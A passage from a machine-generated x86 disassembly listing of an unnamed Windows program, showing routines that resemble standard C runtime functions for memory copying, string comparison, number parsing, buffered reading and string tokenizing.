loc_418420:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41842C:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_418440:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_418458:				; CODE XREF: sub_4182C0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41848C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_418480:				; CODE XREF: sub_4182C0+1B1j
					; sub_4182C0+208j ...
		neg	ecx
		jmp	off_418550[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41848C:				; CODE XREF: sub_4182C0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4184A4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_4184A4+4[eax*4]
; ---------------------------------------------------------------------------

loc_4184A4:				; CODE XREF: sub_4182C0+1D6j
					; DATA XREF: sub_4182C0+1DDr
		jmp	off_4185A0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4184B7+1
; ---------------------------------------------------------------------------
		fadd	dword ptr [ecx+eax*2+41850000h]

loc_4184B7:				; DATA XREF: sub_4182C0+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_418554
		dd offset loc_41855C
		dd offset loc_418564
		dd offset loc_41856C
		dd offset loc_418574
		dd offset loc_41857C
		dd offset loc_418584
off_418550	dd offset loc_418597	; DATA XREF: sub_4182C0+1C2r
; ---------------------------------------------------------------------------

loc_418554:				; DATA XREF: sub_4182C0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41855C:				; DATA XREF: sub_4182C0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_418564:				; DATA XREF: sub_4182C0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41856C:				; DATA XREF: sub_4182C0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_418574:				; DATA XREF: sub_4182C0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41857C:				; DATA XREF: sub_4182C0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_418584:				; DATA XREF: sub_4182C0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_418597:				; CODE XREF: sub_4182C0+1C2j
					; DATA XREF: sub_4182C0:off_418550o
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4185A0	dd offset loc_4185B0	; DATA XREF: sub_4182C0+1B7r
					; sub_4182C0:loc_4184A4r ...
		dd offset loc_4185B8
		dd offset loc_4185C8
		dd offset loc_4185DC
; ---------------------------------------------------------------------------

loc_4185B0:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4185B8:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4185C8:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4185DC:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4182C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185F5	proc near		; CODE XREF: sub_40473F+34p
					; sub_40473F+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_417B9B
		pop	ecx
		pop	ecx
		retn
sub_4185F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_418603	proc near		; CODE XREF: sub_418670+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_48B69C
		call	sub_41D5A8
		mov	edx, dword_48B69C
		pop	ecx
		mov	ecx, dword_48B698
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_418662
		push	edx
		call	sub_41D5A8
		add	eax, 10h
		push	eax
		push	dword_48B69C
		call	sub_41944F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_418645
		retn
; ---------------------------------------------------------------------------

loc_418645:				; CODE XREF: sub_418603+3Fj
		mov	ecx, dword_48B698
		sub	ecx, dword_48B69C
		mov	dword_48B69C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_48B698, ecx

loc_418662:				; CODE XREF: sub_418603+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_48B698, 4
		retn
sub_418603	endp


; =============== S U B	R O U T	I N E =======================================



sub_418670	proc near		; CODE XREF: sub_40482C+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_418603
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_418670	endp


; =============== S U B	R O U T	I N E =======================================



sub_418682	proc near		; DATA XREF: ___:00426018o
		push	80h
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	dword_48B69C, eax
		jnz	short loc_4186A3
		push	18h
		call	sub_419CDA
		mov	eax, dword_48B69C
		pop	ecx

loc_4186A3:				; CODE XREF: sub_418682+12j
		and	dword ptr [eax], 0
		mov	eax, dword_48B69C
		mov	dword_48B698, eax
		retn
sub_418682	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4186B1	proc near		; CODE XREF: ___:00404AFFp
					; sub_4053D5+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 25E03BBh
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 27D0000h
		mov	ax, [ebp+var_16]
		cmp	ax, word_48A00A
		jnz	short loc_418716
		mov	ax, [ebp+var_18]
		cmp	ax, word_48A008
		jnz	short loc_418716
		mov	ax, [ebp+var_1A]
		cmp	ax, word_48A006
		jnz	short loc_418716
		mov	ax, [ebp+var_1E]
		cmp	ax, word_48A002
		jnz	short loc_418716
		mov	ax, [ebp+var_20]
		cmp	ax, word_48A000
		jnz	short loc_418716
		mov	eax, dword_489FF8
		jmp	short loc_41875B
; ---------------------------------------------------------------------------

loc_418716:				; CODE XREF: sub_4186B1+28j
					; sub_4186B1+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	near ptr 27C0000h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418743
		cmp	eax, 2
		jnz	short loc_41873F
		cmp	[ebp+var_32], 0
		jz	short loc_41873F
		cmp	[ebp+var_24], 0
		jz	short loc_41873F
		push	1
		pop	eax
		jmp	short loc_418746
; ---------------------------------------------------------------------------

loc_41873F:				; CODE XREF: sub_4186B1+7Aj
					; sub_4186B1+81j ...
		xor	eax, eax
		jmp	short loc_418746
; ---------------------------------------------------------------------------

loc_418743:				; CODE XREF: sub_4186B1+75j
		or	eax, 0FFFFFFFFh

loc_418746:				; CODE XREF: sub_4186B1+8Cj
					; sub_4186B1+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_48A000
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_489FF8, eax
		pop	esi

loc_41875B:				; CODE XREF: sub_4186B1+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41D609
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41878B
		mov	[ecx], eax

locret_41878B:				; CODE XREF: sub_4186B1+D6j
		leave
		retn
sub_4186B1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418790	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_48A0A0
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4187E3
		mov	al, 0FFh
		mov	edi, edi

loc_4187AC:				; CODE XREF: sub_418790+28j
					; sub_418790+48j
		or	al, al
		jz	short loc_4187DE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_4187AC
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_4187AC
		sbb	al, al
		sbb	al, 0FFh

loc_4187DE:				; CODE XREF: sub_418790+1Ej
		movsx	eax, al
		jmp	short loc_418817
; ---------------------------------------------------------------------------

loc_4187E3:				; CODE XREF: sub_418790+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi

loc_4187EC:				; CODE XREF: sub_418790+68j
					; sub_418790+80j
		or	al, al
		jz	short loc_418817
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_4187EC
		push	eax
		push	ebx
		call	sub_419101
		mov	ebx, eax
		add	esp, 4
		call	sub_419101
		add	esp, 4
		cmp	bl, al
		jz	short loc_4187EC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_418817:				; CODE XREF: sub_418790+51j
					; sub_418790+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418790	endp


; =============== S U B	R O U T	I N E =======================================



sub_41881C	proc near		; CODE XREF: ___:0041ACB7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418833
		add	esp, 10h
		retn
sub_41881C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418833	proc near		; CODE XREF: sub_41881C+Ep
					; sub_418A3B+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi

loc_41884B:				; CODE XREF: sub_418833+46j
		cmp	dword_4397AC, 1
		jle	short loc_418863
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_418872
; ---------------------------------------------------------------------------

loc_418863:				; CODE XREF: sub_418833+1Fj
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_418872:				; CODE XREF: sub_418833+2Ej
		test	eax, eax
		jz	short loc_41887B
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41884B
; ---------------------------------------------------------------------------

loc_41887B:				; CODE XREF: sub_418833+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_418889
		or	[ebp+arg_C], 2
		jmp	short loc_41888E
; ---------------------------------------------------------------------------

loc_418889:				; CODE XREF: sub_418833+4Ej
		cmp	bl, 2Bh
		jnz	short loc_418894

loc_41888E:				; CODE XREF: sub_418833+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi

loc_418894:				; CODE XREF: sub_418833+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_418A2B
		cmp	eax, 1
		jz	loc_418A2B
		cmp	eax, 24h
		jg	loc_418A2B
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_4188DC
		cmp	bl, 30h
		jz	short loc_4188C6
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_4188F8
; ---------------------------------------------------------------------------

loc_4188C6:				; CODE XREF: sub_418833+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4188D9
		cmp	al, 58h
		jz	short loc_4188D9
		mov	[ebp+arg_8], 8
		jmp	short loc_4188F8
; ---------------------------------------------------------------------------

loc_4188D9:				; CODE XREF: sub_418833+97j
					; sub_418833+9Bj
		mov	[ebp+arg_8], ecx

loc_4188DC:				; CODE XREF: sub_418833+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4188F8
		cmp	bl, 30h
		jnz	short loc_4188F8
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4188F0
		cmp	al, 58h
		jnz	short loc_4188F8

loc_4188F0:				; CODE XREF: sub_418833+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi

loc_4188F8:				; CODE XREF: sub_418833+91j
					; sub_418833+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax

loc_418908:				; CODE XREF: sub_418833+16Cj
		cmp	dword_4397AC, 1
		movzx	esi, bl
		jle	short loc_418920
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41892B
; ---------------------------------------------------------------------------

loc_418920:				; CODE XREF: sub_418833+DFj
		mov	eax, off_4395A0
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41892B:				; CODE XREF: sub_418833+EBj
		test	eax, eax
		jz	short loc_418937
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_418969
; ---------------------------------------------------------------------------

loc_418937:				; CODE XREF: sub_418833+FAj
		cmp	dword_4397AC, 1
		jle	short loc_41894B
		push	edi
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_418956
; ---------------------------------------------------------------------------

loc_41894B:				; CODE XREF: sub_418833+10Bj
		mov	eax, off_4395A0
		mov	ax, [eax+esi*2]
		and	eax, edi

loc_418956:				; CODE XREF: sub_418833+116j
		test	eax, eax
		jz	short loc_4189A4
		movsx	eax, bl
		push	eax
		call	sub_41D6CB
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h

loc_418969:				; CODE XREF: sub_418833+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4189A4
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41898E
		jnz	short loc_418988
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41898E

loc_418988:				; CODE XREF: sub_418833+147j
		or	[ebp+arg_C], 4
		jmp	short loc_418997
; ---------------------------------------------------------------------------

loc_41898E:				; CODE XREF: sub_418833+145j
					; sub_418833+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi

loc_418997:				; CODE XREF: sub_418833+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_418908
; ---------------------------------------------------------------------------

loc_4189A4:				; CODE XREF: sub_418833+125j
					; sub_418833+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_4189C2
		test	edx, edx
		jz	short loc_4189BC
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_4189BC:				; CODE XREF: sub_418833+181j
		and	[ebp+var_8], 0
		jmp	short loc_418A0F
; ---------------------------------------------------------------------------

loc_4189C2:				; CODE XREF: sub_418833+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_4189E8
		test	cl, 1
		jnz	short loc_418A0F
		and	ecx, 2
		jz	short loc_4189DF
		cmp	[ebp+var_8], 80000000h
		ja	short loc_4189E8

loc_4189DF:				; CODE XREF: sub_418833+1A1j
		test	ecx, ecx
		jnz	short loc_418A0F
		cmp	[ebp+var_8], eax
		jbe	short loc_418A0F

loc_4189E8:				; CODE XREF: sub_418833+197j
					; sub_418833+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_48A014, 22h
		jz	short loc_4189FE
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_418A0F
; ---------------------------------------------------------------------------

loc_4189FE:				; CODE XREF: sub_418833+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx

loc_418A0F:				; CODE XREF: sub_418833+18Dj
					; sub_418833+19Cj ...
		test	edx, edx
		jz	short loc_418A18
		mov	eax, [ebp+var_4]
		mov	[edx], eax

loc_418A18:				; CODE XREF: sub_418833+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_418A26
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax

loc_418A26:				; CODE XREF: sub_418833+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_418A36
; ---------------------------------------------------------------------------

loc_418A2B:				; CODE XREF: sub_418833+66j
					; sub_418833+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_418A34
		mov	[eax], edi

loc_418A34:				; CODE XREF: sub_418833+1FDj
		xor	eax, eax

loc_418A36:				; CODE XREF: sub_418833+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418833	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A3B	proc near		; CODE XREF: sub_4053D5+4BDp
					; sub_40EE72+3775p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418833
		add	esp, 10h
		retn
sub_418A3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A52	proc near		; CODE XREF: sub_4053D5+266p
					; sub_4053D5+46Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_417AB0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D797
		add	esp, 10h
		leave
		retn
sub_418A52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A86	proc near		; CODE XREF: sub_405A58+4Ep
					; sub_406C19+30Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_418AAA
		xor	eax, eax
		jmp	loc_418B53
; ---------------------------------------------------------------------------

loc_418AAA:				; CODE XREF: sub_418A86+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_418ABD
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_418AC9
; ---------------------------------------------------------------------------

loc_418ABD:				; CODE XREF: sub_418A86+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_418AC9
; ---------------------------------------------------------------------------

loc_418AC6:				; CODE XREF: sub_418A86+C4j
		mov	ecx, [ebp+arg_0]

loc_418AC9:				; CODE XREF: sub_418A86+35j
					; sub_418A86+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_418AFB
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_418AFB
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_418AE0
		mov	edi, eax

loc_418AE0:				; CODE XREF: sub_418A86+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_417390
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_418B46
; ---------------------------------------------------------------------------

loc_418AFB:				; CODE XREF: sub_418A86+49j
					; sub_418A86+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_418B2E
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_418B11
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx

loc_418B11:				; CODE XREF: sub_418A86+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41E321
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418B58
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418B5E
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_418B46
; ---------------------------------------------------------------------------

loc_418B2E:				; CODE XREF: sub_418A86+78j
		push	esi
		call	sub_41E248
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_418B62
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax

loc_418B46:				; CODE XREF: sub_418A86+73j
					; sub_418A86+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_418AC6
		mov	eax, [ebp+arg_8]

loc_418B53:				; CODE XREF: sub_418A86+1Fj
					; sub_418A86+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_418B58:				; CODE XREF: sub_418A86+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_418B62
; ---------------------------------------------------------------------------

loc_418B5E:				; CODE XREF: sub_418A86+9Fj
		or	dword ptr [esi+0Ch], 20h

loc_418B62:				; CODE XREF: sub_418A86+B2j
					; sub_418A86+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_418B53
sub_418A86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B6E	proc near		; CODE XREF: sub_405AF2+2B2p
					; sub_4060D0+101p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi

loc_418B87:				; CODE XREF: sub_418B6E+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_418B87
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_418BAF
		mov	edx, dword_48A010

loc_418BAF:				; CODE XREF: sub_418B6E+39j
					; sub_418B6E+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_418BCF
		test	al, al
		jz	short loc_418BCF
		inc	edx
		jmp	short loc_418BAF
; ---------------------------------------------------------------------------

loc_418BCF:				; CODE XREF: sub_418B6E+58j
					; sub_418B6E+5Cj
		mov	ebx, edx

loc_418BD1:				; CODE XREF: sub_418B6E+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_418BF5
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_418BF1
		inc	edx
		jmp	short loc_418BD1
; ---------------------------------------------------------------------------

loc_418BF1:				; CODE XREF: sub_418B6E+7Ej
		and	byte ptr [edx],	0
		inc	edx

loc_418BF5:				; CODE XREF: sub_418B6E+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_48A010, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_418B6E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418C10	proc near		; CODE XREF: sub_406387+1B6p
					; sub_407252+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_418C93
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_418C34
		shr	ecx, 2
		jnz	short loc_418CA1
		jmp	short loc_418C55
; ---------------------------------------------------------------------------

loc_418C34:				; CODE XREF: sub_418C10+1Bj
					; sub_418C10+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_418C62
		test	al, al
		jz	short loc_418C6A
		test	esi, 3
		jnz	short loc_418C34
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418CA1

loc_418C50:				; CODE XREF: sub_418C10+8Fj
		and	ebx, 3
		jz	short loc_418C62

loc_418C55:				; CODE XREF: sub_418C10+22j
					; sub_418C10+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_418C8E
		dec	ebx
		jnz	short loc_418C55

loc_418C62:				; CODE XREF: sub_418C10+2Bj
					; sub_418C10+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418C6A:				; CODE XREF: sub_418C10+2Fj
		test	edi, 3
		jz	short loc_418C84

loc_418C72:				; CODE XREF: sub_418C10+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_418D06
		test	edi, 3
		jnz	short loc_418C72

loc_418C84:				; CODE XREF: sub_418C10+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418CF7

loc_418C8B:				; CODE XREF: sub_418C10+7Fj
